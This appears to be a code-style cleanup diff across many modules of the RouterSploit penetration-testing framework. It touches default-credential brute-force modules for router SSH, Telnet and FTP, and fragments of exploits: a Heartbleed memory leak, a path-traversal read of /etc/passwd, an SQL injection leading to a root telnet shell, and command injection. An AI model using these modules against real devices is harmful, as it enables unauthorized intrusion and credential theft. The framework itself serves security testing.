), ),
"devices": ( "devices": (
...@@ -64,7 +64,7 @@ class Exploit(TCPClient): ...@@ -64,7 +64,7 @@ class Exploit(TCPClient):
print_error("Authentication Failed - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity) print_error("Authentication Failed - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity)
tcp_client.close() tcp_client.close()
except StopIteration: except StopIteration:
break break
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
...@@ -6,7 +6,7 @@ class Exploit(FTPDefault): ...@@ -6,7 +6,7 @@ class Exploit(FTPDefault):
__info__ = { __info__ = {
"name": "Netsys Router Default FTP Creds", "name": "Netsys Router Default FTP Creds",
"description": "Module performs dictionary attack against Netsys Router FTP service. " "description": "Module performs dictionary attack against Netsys Router FTP service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
__info__ = { __info__ = {
"name": "Netsys Router Default SSH Creds", "name": "Netsys Router Default SSH Creds",
"description": "Module performs dictionary attack against Netsys Router SSH service. " "description": "Module performs dictionary attack against Netsys Router SSH service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
...@@ -6,7 +6,7 @@ class Exploit(FTPDefault): ...@@ -6,7 +6,7 @@ class Exploit(FTPDefault):
__info__ = { __info__ = {
"name": "Netsys Router Default Telnet Creds", "name": "Netsys Router Default Telnet Creds",
"description": "Module performs dictionary attack against Netsys Router Telnet service. " "description": "Module performs dictionary attack against Netsys Router Telnet service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
import re
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
...@@ -48,7 +47,6 @@ class Exploit(HTTPClient): ...@@ -48,7 +47,6 @@ class Exploit(HTTPClient):
def target_function(self, data): def target_function(self, data):
username, password = data.split(":") username, password = data.split(":")
def check(self): def check(self):
response = self.http_request( response = self.http_request(
method="GET", method="GET",
...@@ -57,9 +55,7 @@ class Exploit(HTTPClient): ...@@ -57,9 +55,7 @@ class Exploit(HTTPClient):
if response is None: if response is None:
return False return False
if all([x in response.text if all([x in response.text for x in ['<script type="text/javascript" src="/themes/pfsense_ng/javascript/niftyjsCode.js"></script>', 'var csrfMagicToken =']]):
for x in ['<script type="text/javascript" src="/themes/pfsense_ng/javascript/niftyjsCode.js"></script>',
'var csrfMagicToken =']]):
return True return True
return False return False
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
...@@ -20,4 +20,3 @@ class Exploit(SSHDefault): ...@@ -20,4 +20,3 @@ class Exploit(SSHDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,root:ubnt,ubnt:ubnt", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:admin,root:ubnt,ubnt:ubnt", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
...@@ -26,10 +26,9 @@ class Exploit(HTTPClient): ...@@ -26,10 +26,9 @@ class Exploit(HTTPClient):
port = OptPort(8080, "Target HTTP port") port = OptPort(8080, "Target HTTP port")
def __init__(self): def __init__(self):
config_content = None self.config_content = None
def run(self): def run(self):
if self.check(): if self.check():
print_success("Target appears to be vulnerable.") print_success("Target appears to be vulnerable.")
...@@ -115,4 +114,3 @@ class Exploit(HTTPClient): ...@@ -115,4 +114,3 @@ class Exploit(HTTPClient):
ret_str += tmp_str[i + half_str_len] + tmp_str[i] ret_str += tmp_str[i + half_str_len] + tmp_str[i]
return ret_str return ret_str
...@@ -42,8 +42,7 @@ class Exploit(TelnetClient): ...@@ -42,8 +42,7 @@ class Exploit(TelnetClient):
print_success("SQLI successful, going to telnet into port 20000 " print_success("SQLI successful, going to telnet into port 20000 "
"with username root and no password to get shell") "with username root and no password to get shell")
tn = self.telnet_login("root", "", port=20000)
tn = self.telnet_login("root", "", port=20000)
if tn: if tn:
self.telnet_interactive(tn) self.telnet_interactive(tn)
......
import requests
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
......
...@@ -26,7 +26,7 @@ class Exploit(HTTPClient): ...@@ -26,7 +26,7 @@ class Exploit(HTTPClient):
port = OptPort(80, "Target HTTP port") port = OptPort(80, "Target HTTP port")
filename = OptString("/etc/passwd", "File to read from the filesystem") filename = OptString("/etc/passwd", "File to read from the filesystem")
def __init__(self): def __init__(self):
self.resources = ( self.resources = (
"/cgi-bin/check.cgi?file=../../..{}", "/cgi-bin/check.cgi?file=../../..{}",
......
...@@ -59,7 +59,7 @@ class Exploit(HTTPClient): ...@@ -59,7 +59,7 @@ class Exploit(HTTPClient):
for chunk in response.iter_content(chunk_size=100): for chunk in response.iter_content(chunk_size=100):
if "admin" in chunk: if "admin" in chunk:
print_success(chunk) print_success(chunk)
except: except Exception:
print_error("Exploit failed - could not read /proc/kcore") print_error("Exploit failed - could not read /proc/kcore")
@mute @mute
......
...@@ -55,67 +55,67 @@ class Exploit(TCPClient): ...@@ -55,67 +55,67 @@ class Exploit(TCPClient):
heartbeat_length = OptInteger(65535, "Heartbeat length") heartbeat_length = OptInteger(65535, "Heartbeat length")
CIPHER_SUITS = ( CIPHER_SUITS = (
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA 0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA 0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA 0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA 0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA 0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA 0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA 0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA 0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA 0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA 0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA 0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA 0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA 0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA 0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA 0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA 0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA 0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA 0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA 0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA 0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA 0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA 0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA 0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA 0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA 0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA 0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA 0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA 0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA 0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA 0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA 0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA 0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA 0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA 0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA 0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA 0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA 0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5 0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA 0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA 0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA 0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA 0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5 0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown 0x00ff # Unknown
) )
SSL_RECORD_HEADER_SIZE = 0x05 SSL_RECORD_HEADER_SIZE = 0x05
HANDSHAKE_RECORD_TYPE = 0x16 HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18 HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15 ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02 HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = { TLS_VERSION = {
"SSLv3": 0x0300, "SSLv3": 0x0300,
...@@ -142,15 +142,16 @@ class Exploit(TCPClient): ...@@ -142,15 +142,16 @@ class Exploit(TCPClient):
elif char not in self.printable: elif char not in self.printable:
data += "." data += "."
else: else:
data += char data += char
clean_data = "" clean_data = ""
tmp_b = 0 tmp_b = 0
for item in re.finditer(r"(\.){400,}", data): for item in re.finditer(r"(\.){400,}", data):
a, b = item.span() a, b = item.span()
clean_data += data[tmp_b:a] clean_data += data[tmp_b:a]
tmp_b = b tmp_b = b
clean_data += "................................ repeated {} times ................................".format(b-a-64) repeated = b - a - 64
clean_data += "................................ repeated {} times ................................".format(repeated)
clean_data += data[b:] clean_data += data[b:]
print_info(clean_data) print_info(clean_data)
...@@ -159,7 +160,7 @@ class Exploit(TCPClient): ...@@ -159,7 +160,7 @@ class Exploit(TCPClient):
@mute @mute
def check(self): def check(self):
if self.bleed(): if self.bleed():
return True return True
return False return False
...@@ -188,7 +189,7 @@ class Exploit(TCPClient): ...@@ -188,7 +189,7 @@ class Exploit(TCPClient):
self.tcp_close(self.tcp_client) self.tcp_close(self.tcp_client)
return heartbeat_data return heartbeat_data
def establish_connect(self): def establish_connect(self):
self.tcp_client = self.tcp_connect() self.tcp_client = self.tcp_connect()
...@@ -224,7 +225,7 @@ class Exploit(TCPClient): ...@@ -224,7 +225,7 @@ class Exploit(TCPClient):
# Stop once we receive SERVER_HELLO_DONE # Stop once we receive SERVER_HELLO_DONE
if handshakes and handshakes[-1]["type"] == self.HANDSHAKE_SERVER_HELLO_DONE_TYPE: if handshakes and handshakes[-1]["type"] == self.HANDSHAKE_SERVER_HELLO_DONE_TYPE:
server_done = True server_done = True
break break
remaining_data = self.get_ssl_record() remaining_data = self.get_ssl_record()
...@@ -268,12 +269,12 @@ class Exploit(TCPClient): ...@@ -268,12 +269,12 @@ class Exploit(TCPClient):
def parse_server_hello(self, data): def parse_server_hello(self, data):
version = unpack(">H", data[:2])[0] version = unpack(">H", data[:2])[0]
print_status("\t\tServer Hello Version: 0x{:x}".format(version)) print_status("\t\tServer Hello Version: 0x{:x}".format(version))
random = unpack(">" + "B"*32, data[2:34]) random = unpack(">" + "B" * 32, data[2:34])
random_hex = str(binascii.hexlify(bytes(random)), "utf-8") random_hex = str(binascii.hexlify(bytes(random)), "utf-8")
print_status("\t\tServer Hello random data: {}".format(random_hex)) print_status("\t\tServer Hello random data: {}".format(random_hex))
session_id_length = unpack(">B", data[34:35])[0] session_id_length = unpack(">B", data[34:35])[0]
print_status("\t\tServer Hello Session ID length: {}".format(session_id_length)) print_status("\t\tServer Hello Session ID length: {}".format(session_id_length))
session_id = unpack(">" + "B"*session_id_length, data[35: 35 + session_id_length]) session_id = unpack(">" + "B" * session_id_length, data[35: 35 + session_id_length])
session_id_hex = str(binascii.hexlify(bytes(session_id)), "utf-8") session_id_hex = str(binascii.hexlify(bytes(session_id)), "utf-8")
print_status("\t\tServer Hello session id: {}".format(session_id_hex)) print_status("\t\tServer Hello session id: {}".format(session_id_hex))
...@@ -282,28 +283,27 @@ class Exploit(TCPClient): ...@@ -282,28 +283,27 @@ class Exploit(TCPClient):
print_status("\t\tCertificates length: {}".format(cert_len)) print_status("\t\tCertificates length: {}".format(cert_len))
print_status("\t\tData length: {}".format(len(data))) print_status("\t\tData length: {}".format(len(data)))
#contains multiple certs # contains multiple certs
already_read = 3 already_read = 3
cert_counter = 0 cert_counter = 0
while already_read < cert_len: while already_read < cert_len:
cert_counter += 1 cert_counter += 1
# get single certificate length # get single certificate length
single_cert_len_padding, single_cert_len = unpack(">BH", data[already_read:already_read+3]) single_cert_len_padding, single_cert_len = unpack(">BH", data[already_read: already_read + 3])
print_status("\t\tCertificate {}".format(cert_counter)) print_status("\t\tCertificate {}".format(cert_counter))
print_status("\t\t\tCertificate {}: Length: {}".format(cert_counter, single_cert_len)) print_status("\t\t\tCertificate {}: Length: {}".format(cert_counter, single_cert_len))
certificate_data = data[(already_read + 3): (already_read+3+single_cert_len)] certificate_data = data[(already_read + 3): (already_read + 3 + single_cert_len)]
cert = x509.load_der_x509_certificate(certificate_data, default_backend()) cert = x509.load_der_x509_certificate(certificate_data, default_backend())
print_status("\t\t\tCertificate {}: {}".format(cert_counter, cert)) print_status("\t\t\tCertificate {}: {}".format(cert_counter, cert))
already_read = already_read + single_cert_len + 3 already_read = already_read + single_cert_len + 3
def get_ssl_record(self): def get_ssl_record(self):
hdr = self.tcp_recv(self.tcp_client, self.SSL_RECORD_HEADER_SIZE) hdr = self.tcp_recv(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
if hdr: if hdr:
length = unpack(">BHH", hdr)[2] length = unpack(">BHH", hdr)[2]
data = self.tcp_recv(self.tcp_client, length) data = self.tcp_recv(self.tcp_client, length)
hdr += data hdr += data
return hdr return hdr
...@@ -315,12 +315,12 @@ class Exploit(TCPClient): ...@@ -315,12 +315,12 @@ class Exploit(TCPClient):
time_epoch = int(time()) time_epoch = int(time())
cipher_suits_len = len(self.CIPHER_SUITS) cipher_suits_len = len(self.CIPHER_SUITS)
hello_data = pack(">H", self.TLS_VERSION[self.tls_version]) # Version TLS hello_data = pack(">H", self.TLS_VERSION[self.tls_version]) # Version TLS
hello_data += pack(">L", time_epoch) # Time in epoch format hello_data += pack(">L", time_epoch) # Time in epoch format
hello_data += bytes(utils.random_text(28), "utf-8") # Random hello_data += bytes(utils.random_text(28), "utf-8") # Random
hello_data += b"\x00" # Session ID length hello_data += b"\x00" # Session ID length
hello_data += pack(">H", cipher_suits_len * 2) # Cipher Suits Length (102) hello_data += pack(">H", cipher_suits_len * 2) # Cipher Suits Length (102)
hello_data += pack(">" + "H" * cipher_suits_len, *self.CIPHER_SUITS) # Cipher Suites hello_data += pack(">" + "H" * cipher_suits_len, *self.CIPHER_SUITS) # Cipher Suites
hello_data += b"\x01" # Compression methods length (1) hello_data += b"\x01" # Compression methods length (1)
hello_data += b"\x00" # Compression methods: null hello_data += b"\x00" # Compression methods: null
......
...@@ -44,8 +44,6 @@ class Exploit(HTTPClient): ...@@ -44,8 +44,6 @@ class Exploit(HTTPClient):
def execute(self, cmd): def execute(self, cmd):
marker = utils.random_text(32) marker = utils.random_text(32)
url = "{}:{}{}".format(self.target, self.port, self.path)
injection = self.valid.replace("{{marker}}", marker).replace("{{cmd}}", cmd) injection = self.valid.replace("{{marker}}", marker).replace("{{cmd}}", cmd)
headers = { headers = {
...@@ -76,8 +74,6 @@ class Exploit(HTTPClient): ...@@ -76,8 +74,6 @@ class Exploit(HTTPClient):
cmd = "echo $(({}-1))".format(number) cmd = "echo $(({}-1))".format(number)
marker = utils.random_text(32) marker = utils.random_text(32)
url = "{}:{}{}".format(self.target, self.port, self.path)
for payload in self.payloads: for payload in self.payloads:
injection = payload.replace("{{marker}}", marker).replace("{{cmd}}", cmd) injection = payload.replace("{{marker}}", marker).replace("{{cmd}}", cmd)
......
...@@ -48,8 +48,6 @@ class Exploit(HTTPClient): ...@@ -48,8 +48,6 @@ class Exploit(HTTPClient):
return False # target is not vulnerable return False # target is not vulnerable
# checking if authentication can be bypassed # checking if authentication can be bypassed
url = "{}:{}/xslt".format(self.target, self.port)
response = self.http_request( response = self.http_request(
method="GET", method="GET",
path="/xslt", path="/xslt",
......
...@@ -63,7 +63,7 @@ class Exploit(HTTPClient): ...@@ -63,7 +63,7 @@ class Exploit(HTTPClient):
continue continue
if any(map(lambda x: x in response.text, ["report.db.server.name", "report.db.server.sa.pass", "report.db.server.user.pass"])): if any(map(lambda x: x in response.text, ["report.db.server.name", "report.db.server.sa.pass", "report.db.server.user.pass"])):
self.valid = path self.valid = path
return True # target is vulnerable return True # target is vulnerable
return False # target not vulnerable return False # target not vulnerable
...@@ -44,7 +44,7 @@ class Exploit(HTTPClient): ...@@ -44,7 +44,7 @@ class Exploit(HTTPClient):
def check(self): def check(self):
response1 = self.http_request( response1 = self.http_request(
method="GET", method="GET",
path="/utility.cgi?testType=1&IP=aaa", path="/utility.cgi?testType=1&IP=aaa",
) )
if response1 is None: if response1 is None:
return False # target is not vulnerable return False # target is not vulnerable
......
...@@ -46,7 +46,7 @@ class Exploit(HTTPClient): ...@@ -46,7 +46,7 @@ class Exploit(HTTPClient):
try: try:
print_status("Trying to base64 decode") print_status("Trying to base64 decode")
password = base64.b64decode(res[0]) password = base64.b64decode(res[0])
except: except Exception:
print_error("Exploit failed - could not decode password") print_error("Exploit failed - could not decode password")
return return
......
...@@ -178,7 +178,7 @@ class Exploit(TCPClient): ...@@ -178,7 +178,7 @@ class Exploit(TCPClient):
print_status("Connection OK") print_status("Connection OK")
print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024)))) print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024))))
except: except Exception:
print_error("Connection failed") print_error("Connection failed")
return return
...@@ -201,7 +201,7 @@ class Exploit(TCPClient): ...@@ -201,7 +201,7 @@ class Exploit(TCPClient):
try: try:
t = telnetlib.Telnet(self.target, int(self.telnet_port)) t = telnetlib.Telnet(self.target, int(self.telnet_port))
t.interact() t.interact()
except: except Exception:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
print_status("Check if Telnet authentication was set back") print_status("Check if Telnet authentication was set back")
......
...@@ -89,7 +89,7 @@ class Exploit(HTTPClient): ...@@ -89,7 +89,7 @@ class Exploit(HTTPClient):
path="/login.cgi?logout=1", path="/login.cgi?logout=1",
data=data, data=data,
allow_redirects=False, allow_redirects=False,
timeout=30, timeout=30,
session=self.session session=self.session
) )
......
...@@ -114,15 +114,12 @@ class Exploit(HTTPClient, SSHClient): ...@@ -114,15 +114,12 @@ class Exploit(HTTPClient, SSHClient):
"file": (sh_name, payload) "file": (sh_name, payload)
} }
try: self.http_request(
self.http_request( method="POST",
method="POST", path="/DetectionPolicy/rules/rulesimport.cgi",
path="/DetectionPolicy/rules/rulesimport.cgi", files=multipart_form_data,
files=multipart_form_data, session=self.session
session=self.session )
)
except:
pass
return return
......
...@@ -75,7 +75,7 @@ class Exploit(HTTPClient): ...@@ -75,7 +75,7 @@ class Exploit(HTTPClient):
if len(res): if len(res):
try: try:
b64decode(res[0]) # checking if data is base64 encoded b64decode(res[0]) # checking if data is base64 encoded
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
else: else:
return False # target is not vulnerable return False # target is not vulnerable
......
...@@ -61,7 +61,7 @@ class Exploit(HTTPClient): ...@@ -61,7 +61,7 @@ class Exploit(HTTPClient):
"SystemCommand": "ls", "SystemCommand": "ls",
"ConfigSystemCommand": "Save" "ConfigSystemCommand": "Save"
} }
response = self.http_request( response = self.http_request(
method="POST", method="POST",
path="/setSystemCommand", path="/setSystemCommand",
......
...@@ -67,7 +67,7 @@ class Exploit(UDPClient): ...@@ -67,7 +67,7 @@ class Exploit(UDPClient):
sock.send(buf) sock.send(buf)
response = sock.recv(65535) response = sock.recv(65535)
sock.close() sock.close()
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
if "Linux, UPnP/1.0, DIR-" in response: if "Linux, UPnP/1.0, DIR-" in response:
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.udp.udp_client import UDPClient from routersploit.core.udp.udp_client import UDPClient
class Exploit(UDPClient): class Exploit(UDPClient):
__info__ = { __info__ = {
"name": "D-Link DIR-815 & DIR-850L RCE", "name": "D-Link DIR-815 & DIR-850L RCE",
......
...@@ -25,7 +25,6 @@ class Exploit(HTTPClient): ...@@ -25,7 +25,6 @@ class Exploit(HTTPClient):
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port") port = OptPort(80, "Target HTTP port")
def run(self): def run(self):
self.credentials = [] self.credentials = []
......
